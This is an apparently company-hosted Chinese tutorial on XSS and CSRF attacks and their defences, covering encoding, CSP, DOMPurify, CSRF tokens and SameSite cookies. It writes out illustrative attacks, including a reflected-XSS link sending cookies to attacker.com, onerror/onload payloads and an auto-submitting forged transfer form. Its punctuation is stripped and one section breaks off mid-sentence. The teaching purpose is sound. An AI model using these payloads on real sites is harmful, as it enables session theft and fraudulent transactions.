资讯动态

前端安全实战:XSS与CSRF攻击原理及防御方案详解

发布时间:2026/10/19 4:45:44 来源:尧图企业网站定制
1. 从一个登录表单说起为什么前端安全不是“后端的事”很多刚接触Web开发的朋友都有一个思维定式安全是后端的事前端只管把页面画出来、把数据渲染上去就行。我刚开始做项目那会儿也是这么想的直到有一次在内部演练中一个搜索框的输入直接把整个页面的Cookie信息弹了出来我才意识到问题的严重性。那次演练用的就是最基础的XSS注入没有任何花哨的技巧仅仅是在搜索框里输入了一段带有脚本的文本页面就把这段文本当成代码执行了。这件事让我彻底改变了对Web安全的认知。XSS跨站脚本攻击和CSRF跨站请求伪造是Web安全领域最经典、也最容易被忽视的两类漏洞。它们的共同特点是攻击者不需要直接攻破服务器而是利用浏览器对网站的信任机制来达到目的。XSS利用的是浏览器对页面内容的信任CSRF利用的是浏览器对已登录用户身份的信任。这篇文章适合所有涉及Web开发的人——不管你是前端、后端还是全栈只要你的代码跑在浏览器里这两类漏洞就和你有关。我会从攻击原理讲起把每种攻击的变体、触发条件、真实场景下的利用方式拆开揉碎然后给出可以直接落地的防范方案。代码示例会覆盖原生JavaScript、主流框架以及服务端配置尽量做到拿来就能用。需要提前说明的是本文涉及的攻击演示仅用于理解原理和验证自身系统的安全性所有示例都应在自己搭建的测试环境中运行不要对任何未经授权的系统进行测试。2. XSS的三种面孔反射型、存储型与DOM型2.1 反射型XSS一次性的“回音壁”攻击反射型XSS是最容易理解的一种形式。它的工作方式是攻击者构造一个带有恶意脚本参数的URL诱导用户点击。用户打开链接后服务器把URL中的参数原封不动地“反射”回页面中浏览器把这段内容当作代码执行。举个典型的例子。假设有一个搜索页面URL是https://example.com/search?q关键词页面会把q参数的值直接显示在搜索结果上方类似“您搜索的是关键词”。如果服务端没有对q参数做任何处理那么攻击者可以构造这样的链接https://example.com/search?qscriptdocument.locationhttps://attacker.com/steal?cdocument.cookie/script用户点击后页面会把这段脚本当作搜索词显示浏览器执行脚本用户的Cookie就被发送到了攻击者的服务器上。反射型XSS的特点是“一次性”——它不会在服务器上留下持久性的恶意内容必须诱导用户主动点击特制链接才能生效。但它的危害一点也不小尤其是结合短链接、二维码、社交工程等手段点击率可以非常高。注意很多人以为只有script标签才能触发XSS实际上img srcx onerroralert(1)、svg onloadalert(1)、body onpageshowalert(1)等大量标签和事件属性都可以执行脚本。过滤时只盯着script关键字是远远不够的。2.2 存储型XSS最危险的“定时炸弹”存储型XSS和反射型的核心区别在于恶意脚本被持久化保存在了服务器上比如数据库、缓存、日志文件所有访问相关页面的用户都会中招。这种攻击的杀伤力最大因为它不需要诱导点击只要用户正常浏览页面就会触发。常见的注入点包括用户评论、论坛帖子、个人签名、商品评价、站内信、用户昵称、头像URL等一切用户可以输入并会被其他用户看到的地方。我见过一个非常典型的案例某内部系统的用户反馈模块用户提交的反馈内容会被保存到数据库然后在管理员后台的“反馈列表”页面展示。攻击者在反馈内容中插入了一段窃取管理员Cookie的脚本管理员一打开反馈列表页面脚本就执行了攻击者直接拿到了管理员权限。整个过程不需要任何交互诱导纯粹是“守株待兔”。存储型XSS的另一个可怕之处在于它的传播性。如果被注入的页面是公开可见的比如一个热门帖子那么所有浏览该帖子的用户都会成为受害者。在极端情况下攻击者可以通过存储型XSS实现蠕虫式传播——脚本自动以受害者的身份发布新的带毒内容形成指数级扩散。2.3 DOM型XSS不经过服务器的“隐形杀手”DOM型XSS的特殊之处在于恶意脚本的注入和执行完全发生在浏览器端不经过服务器。服务端的日志里看不到任何异常传统的WAFWeb应用防火墙也很难拦截。它的典型场景是前端JavaScript代码从URL中读取数据并直接插入到页面中。比如// 从URL的hash中读取内容并显示 var content decodeURIComponent(location.hash.substring(1)); document.getElementById(content).innerHTML content;如果攻击者构造https://example.com/page#img srcx onerroralert(1)页面就会执行这段脚本。DOM型XSS的触发点非常多innerHTML、outerHTML、document.write、eval、setTimeout、setInterval、Function构造函数、location对象的直接赋值等。很多前端开发者在使用这些API时根本没有意识到自己正在打开一扇安全大门。2.4 三种XSS的对比与排查思路类型恶意代码位置是否持久化触发条件服务端可见性反射型URL参数否用户点击特制链接请求日志中可见存储型数据库/文件是用户访问被污染页面存储时可见DOM型URL/浏览器存储否用户点击特制链接完全不可见排查XSS时我通常按照以下顺序进行梳理所有输入点URL参数、表单字段、HTTP头Referer、User-Agent、Cookie、LocalStorage、PostMessage等。追踪数据流向从输入点开始追踪数据经过了哪些处理最终在哪些地方被输出。检查输出上下文数据被输出到HTML标签内容、HTML属性、JavaScript代码、CSS样式还是URL中不同上下文需要不同的编码方式。验证防护措施对每个输出点确认是否进行了正确的编码或过滤。3. CSRF当浏览器“背叛”了你的信任3.1 CSRF的攻击逻辑借刀杀人CSRF的核心逻辑是攻击者诱导已登录目标网站的用户在不知情的情况下发出一个恶意请求。因为浏览器会自动携带该网站的Cookie服务端会认为这是用户本人的操作。用一个生活化的类比来解释你去银行办理业务银行给你发了一个手环Cookie凭手环就能办理转账。攻击者不需要偷你的手环只需要让你在不知情的情况下走到柜台前银行看到你手上的手环就以为是你本人要转账。一个经典的CSRF攻击场景是这样的某网站有一个转账接口POST /transfer参数是to和amount。攻击者在自己的网站上放置一个自动提交的表单form actionhttps://bank.example.com/transfer methodPOST idcsrf-form input typehidden nameto valueattacker-account / input typehidden nameamount value10000 / /form scriptdocument.getElementById(csrf-form).submit();/script如果用户已经登录了bank.example.com并且该网站没有CSRF防护那么用户访问攻击者的页面时浏览器会自动带上银行的Cookie提交这个表单转账就成功了。3.2 GET型与POST型CSRF的差异早期的CSRF攻击多利用GET请求比如img srchttps://bank.example.com/transfer?toattackeramount10000。图片加载失败没关系请求已经发出去了。这种攻击方式极其隐蔽页面看起来完全正常。现在大多数敏感操作都要求POST请求但这并不意味着CSRF就失效了。攻击者可以通过自动提交的表单、XMLHttpRequest在CORS配置不当的情况下、甚至Flash等途径发起POST请求。POST型CSRF的构造稍微复杂一点但原理完全一样。还有一种更隐蔽的方式利用fetch的no-cors模式。虽然攻击者无法读取响应内容但请求本身会被发送出去对于“只关心请求是否发出”的操作比如点赞、关注、删除这就足够了。3.3 为什么“验证码”和“Referer检查”不是万能药很多开发者认为加了验证码就能防住CSRF这个思路方向是对的但有几个问题验证码会严重影响用户体验不能所有操作都加。有些验证码可以被自动化工具识别尤其是简单的图形验证码。如果验证码是在被攻击的页面上由用户主动输入的而攻击者只是诱导用户完成某个操作验证码反而可能成为攻击流程的一部分。Referer检查同样不可靠。Referer头可以被某些浏览器设置或隐私插件屏蔽导致正常请求被误拦。而且在某些情况下攻击者可以通过页面跳转来伪造Referer。真正可靠的CSRF防护需要从“请求是否来自本站”这个根本问题入手而不是依赖某个单一手段。4. 构建多层防线XSS防范的完整方案4.1 输出编码最根本的防线XSS的本质是“数据被当成了代码执行”。防范的核心思路就是永远不要信任用户输入在输出时根据上下文进行正确的编码。不同输出位置需要不同的编码方式输出位置编码方式示例HTML标签内容HTML实体编码→lt;→gt;HTML属性值HTML属性编码→quot;→#x27;JavaScript代码JS字符串编码\→\\→\URL参数URL编码→%26→%3DCSS样式CSS编码十六进制转义很多开发者只做了HTML实体编码却忽略了JavaScript上下文。比如这样的代码var username ?php echo $username; ?; document.getElementById(greeting).innerHTML 欢迎 username;如果$username的值是; alert(1); //那么最终生成的JavaScript代码就变成了var username ; alert(1); //;脚本直接执行了。正确的做法是对JavaScript上下文中的变量进行JS编码或者更安全的方式是使用JSON.stringify和textContent。4.2 内容安全策略CSP给浏览器立规矩CSPContent Security Policy是一层非常有效的纵深防御机制。它通过HTTP响应头告诉浏览器哪些来源的脚本可以执行、哪些来源的样式可以加载、哪些来源的图片可以显示。一个基本的CSP配置示例Content-Security-Policy: default-src self; script-src self https://trusted-cdn.com; style-src self unsafe-inline; img-src self data: https:; object-src none; base-uri self; form-action self这个配置的含义是default-src self默认只允许加载同源资源。script-src self https://trusted-cdn.com脚本只能从同源和指定CDN加载禁止内联脚本。style-src self unsafe-inline样式允许同源和内联实际项目中应尽量避免unsafe-inline。img-src self data: https:图片允许同源、data URI和HTTPS来源。object-src none禁止加载插件对象。base-uri self限制base标签的URL。form-action self表单只能提交到同源地址。CSP的威力在于即使攻击者成功注入了脚本只要脚本来源不在白名单中浏览器就不会执行。这大大增加了XSS的攻击难度。提示CSP配置有一个常见的坑——unsafe-inline和unsafe-eval会大幅削弱CSP的保护效果。如果必须使用内联脚本可以用nonce或hash机制来精确控制。另外CSP的部署应该从报告模式Content-Security-Policy-Report-Only开始观察一段时间后再正式启用避免误伤正常功能。4.3 输入验证与富文本处理输入验证不是XSS防范的主要手段但它是很好的第一道过滤网。对于明确的字段如邮箱、手机号、日期应该使用白名单验证只允许符合格式的输入通过。对于富文本内容如用户发布的文章、评论情况要复杂得多。你不能简单地把所有HTML标签都转义掉因为用户确实需要加粗、链接、列表等格式。这时候需要使用成熟的富文本过滤库比如DOMPurify、sanitize-html等这些库经过大量安全测试能有效过滤危险标签和属性。白名单策略只允许特定的标签和属性比如p、strong、em、a href等。属性值检查对于href、src等属性要检查协议是否为http、https、mailto等安全协议禁止javascript:和data:协议。// 使用DOMPurify进行富文本过滤的示例 import DOMPurify from dompurify; var dirty img srcx onerroralert(1)p正常内容/p; var clean DOMPurify.sanitize(dirty, { ALLOWED_TAGS: [p, strong, em, a, ul, ol, li], ALLOWED_ATTR: [href, title] }); document.getElementById(content).innerHTML clean;4.4 框架自带的安全机制别把它们关掉现代前端框架React、Vue、Angular在默认情况下都对XSS有一定的防护能力。React的JSX会自动转义变量中的HTML特殊字符Vue的模板语法也会对插值进行转义。但框架的防护是有边界的。以下操作会绕过框架的安全机制React中的dangerouslySetInnerHTMLVue中的v-htmlAngular中的bypassSecurityTrustHtml直接操作DOM的innerHTML、outerHTML、document.write我见过不少项目为了图方便大量使用v-html或dangerouslySetInnerHTML然后自己写了一套简单的正则过滤结果漏洞百出。如果确实需要渲染HTML一定要用专业的过滤库不要自己造轮子。5. CSRF的防御体系从Token到SameSite5.1 CSRF Token最经典的防御手段CSRF Token的核心思想是在用户会话中生成一个随机令牌要求所有敏感请求都必须携带这个令牌。攻击者的网站无法获取这个令牌因为同源策略的限制所以无法构造出合法的请求。实现方式通常有两种方式一同步令牌模式Synchronizer Token Pattern服务端在渲染表单时嵌入一个隐藏字段form action/transfer methodPOST input typehidden namecsrf_token value随机生成的令牌值 / !-- 其他表单字段 -- /form服务端在处理请求时比对表单中的令牌和会话中存储的令牌是否一致。方式二双重Cookie验证将令牌同时存储在Cookie和请求参数中服务端比对两者是否一致。这种方式的优点是服务端不需要存储令牌适合无状态架构。但它的安全性略低于同步令牌模式因为如果存在子域名XSS漏洞攻击者可能能够设置Cookie。// 前端从Cookie中读取令牌并添加到请求头 function getCookie(name) { var value ; document.cookie; var parts value.split(; name ); if (parts.length 2) return parts.pop().split(;).shift(); } fetch(/api/transfer, { method: POST, headers: { Content-Type: application/json, X-CSRF-Token: getCookie(csrf_token) }, body: JSON.stringify(data) });注意CSRF Token必须使用密码学安全的随机数生成器生成长度至少128位。不要使用时间戳、递增ID等可预测的值。令牌应该与用户会话绑定并且在用户登出后失效。5.2 SameSite Cookie浏览器层面的防线SameSite是Cookie的一个属性用来控制跨站请求时是否发送Cookie。它有三个值Strict完全禁止跨站发送Cookie。用户从外部链接跳转到你的网站时第一次请求不会携带Cookie可能导致需要重新登录。Lax允许顶级导航的GET请求携带Cookie但POST请求、iframe、AJAX等跨站请求不携带。这是目前大多数浏览器的默认值。None允许跨站发送Cookie但必须同时设置Secure属性仅HTTPS。Set-Cookie: session_idabc123; SameSiteLax; Secure; HttpOnlySameSiteLax能够防御大部分CSRF攻击因为它阻止了跨站的POST请求携带Cookie。但它不是万能的如果网站有XSS漏洞攻击者可以在同站上下文中发起请求SameSite就失效了。另外某些旧版浏览器不支持SameSite属性。5.3 关键操作的多重验证对于特别敏感的操作如修改密码、转账、删除账号除了CSRF Token之外还应该增加额外的验证要求输入当前密码修改密码时必须输入旧密码这样攻击者即使伪造了请求也不知道旧密码。二次验证通过短信、邮件或验证器应用发送验证码。操作确认页面不要直接执行操作而是跳转到一个确认页面用户点击确认后才真正执行。这些措施的共同点是它们需要用户的主动参与和额外信息而CSRF攻击的本质是“在用户不知情的情况下完成操作”所以任何需要用户主动提供额外信息的步骤都能有效阻断攻击。5.4 自定义请求头简单但有效的补充对于AJAX请求可以要求客户端携带一个自定义请求头如X-Requested-With: XMLHttpRequest。浏览器在同源策略下允许自定义请求头但跨站请求默认不允许携带自定义头除非CORS配置明确允许。服务端检查这个头是否存在可以在一定程度上过滤掉CSRF请求。不过这个方法的防护能力有限因为攻击者如果能够控制CORS配置就可以绕过。某些旧版浏览器或插件可能允许跨站自定义头。它只适用于AJAX请求普通表单提交无法使用。所以自定义请求头只能作为辅助手段不能替代CSRF Token。6. 实战中的坑与经验那些文档不会告诉你的细节6.1 编码顺序的陷阱在处理用户输入时编码的顺序非常重要。我见过一个案例开发者先对输入进行了URL编码然后又进行了HTML编码结果导致双重编码页面显示乱码。更糟糕的是有些开发者先解码再编码反而把原本安全的输入变成了危险内容。正确的做法是在数据进入系统时进行验证和规范化在数据输出到不同上下文时进行对应的编码。不要在存储时进行输出编码因为同一条数据可能被输出到HTML、JSON、CSV等不同场景需要的编码方式不同。6.2 富文本过滤的“漏网之鱼”即使使用了DOMPurify这样的专业库也需要注意配置。默认配置下DOMPurify会允许一些你可能不想要的标签和属性。比如>// SPA中获取并携带CSRF Token的示例 let csrfToken null; async function initCsrfToken() { const response await fetch(/api/csrf-token, { credentials: include }); const data await response.json(); csrfToken data.token; } async function apiRequest(url, options {}) { if (!csrfToken) await initCsrfToken(); return fetch(url, { ...options, credentials: include, headers: { ...options.headers, X-CSRF-Token: csrfToken } }); }6.5 安全测试的常见误区很多团队在安全测试时只关注“有没有弹窗”。他们输入scriptalert(1)/script如果没有弹窗就认为没有XSS漏洞。这种测试方法非常不全面很多XSS向量不会弹窗比如窃取Cookie、发起请求、修改页面内容。存储型XSS可能需要特定条件才能触发比如管理员审核后才显示。DOM型XSS可能隐藏在复杂的JavaScript逻辑中简单的输入测试覆盖不到。CSRF漏洞无法通过输入测试发现需要检查请求是否验证了来源。更有效的测试方法是代码审计系统地检查所有输入输出点追踪数据流。自动化扫描使用专业的DAST工具进行扫描但不要完全依赖工具结果。手动验证对每个可疑点进行手动构造和验证。威胁建模从攻击者的角度思考哪些地方可能被利用而不仅仅是已知的漏洞模式。7. 把安全融入开发流程从“事后补救”到“事前预防”7.1 代码审查中的安全检查清单在代码审查阶段加入安全检查项可以在早期发现大部分问题。以下是我在实际项目中使用的检查清单所有用户输入是否都经过了验证所有输出到HTML的内容是否都进行了编码是否使用了innerHTML、v-html、dangerouslySetInnerHTML等危险API如果使用了是否进行了过滤敏感操作是否有CSRF防护Cookie是否设置了HttpOnly、Secure、SameSite属性是否配置了CSP错误信息是否泄露了敏感信息这个清单不需要很长关键是要在每次代码审查时都过一遍。时间长了这些检查项会成为开发者的肌肉记忆。7.2 自动化安全测试的集成在CI/CD流程中集成安全测试可以在代码合并前发现潜在问题SAST静态应用安全测试分析源代码发现潜在的安全漏洞。适合在代码提交时运行。DAST动态应用安全测试对运行中的应用进行扫描发现运行时漏洞。适合在测试环境部署后运行。依赖扫描检查第三方库是否有已知漏洞。适合在构建时运行。这些工具不能替代人工审查但可以作为一道自动化的防线捕捉一些常见问题。7.3 安全响应头低成本高回报的防护除了CSP之外还有几个安全响应头值得配置X-Content-Type-Options: nosniff X-Frame-Options: DENY Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: geolocation(), microphone(), camera()X-Content-Type-Options: nosniff禁止浏览器猜测MIME类型防止把非脚本文件当作脚本执行。X-Frame-Options: DENY禁止页面被嵌入iframe防止点击劫持。Referrer-Policy控制Referer头的发送策略减少信息泄露。Permissions-Policy限制浏览器特性的使用减少攻击面。这些头的配置成本很低但能有效提升整体安全性。7.4 安全意识最薄弱的环节往往是人再好的技术防护也抵不过一个被钓鱼邮件骗走密码的用户。安全意识培训不是走过场而是需要持续进行的工作定期发送模拟钓鱼邮件测试员工的警惕性。分享真实的安全事件案例让大家了解攻击手法。建立安全报告渠道鼓励员工报告可疑情况。把安全纳入绩效考核让每个人都知道安全是自己的责任。我在实际工作中发现很多安全事件的发生不是因为技术防护不到位而是因为某个环节的人为疏忽。一个开发者在调试时把测试环境的配置提交到了生产环境一个运维人员把数据库端口暴露在了公网一个客服人员把用户信息截图发到了群里——这些都不是技术问题而是意识问题。7.5 持续学习与信息更新Web安全是一个快速变化的领域新的攻击手法和防御技术层出不穷。保持学习习惯非常重要关注安全社区的漏洞披露和讨论。定期阅读安全相关的技术博客和论文。参加CTF比赛或安全演练提升实战能力。在自己的测试环境中复现新出现的漏洞理解其原理。我个人习惯每周花几个小时浏览安全资讯遇到感兴趣的漏洞就搭建环境复现一下。这个过程不仅能加深理解还能在遇到类似问题时快速反应。最后分享一个我在实际项目中总结的小技巧在开发阶段可以临时在页面上加一个“安全调试面板”显示当前页面的CSP违规报告、Cookie属性、请求头信息等。这样在开发和测试时就能直观地看到安全配置是否生效比翻看浏览器控制台方便得多。当然这个面板在上线前一定要移除或加上严格的访问控制。安全不是一次性的工作而是一个持续的过程。每一次代码提交、每一次配置变更、每一次新功能上线都需要重新审视安全影响。把安全融入日常开发流程而不是等到出事后再来补救这才是最有效的策略。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑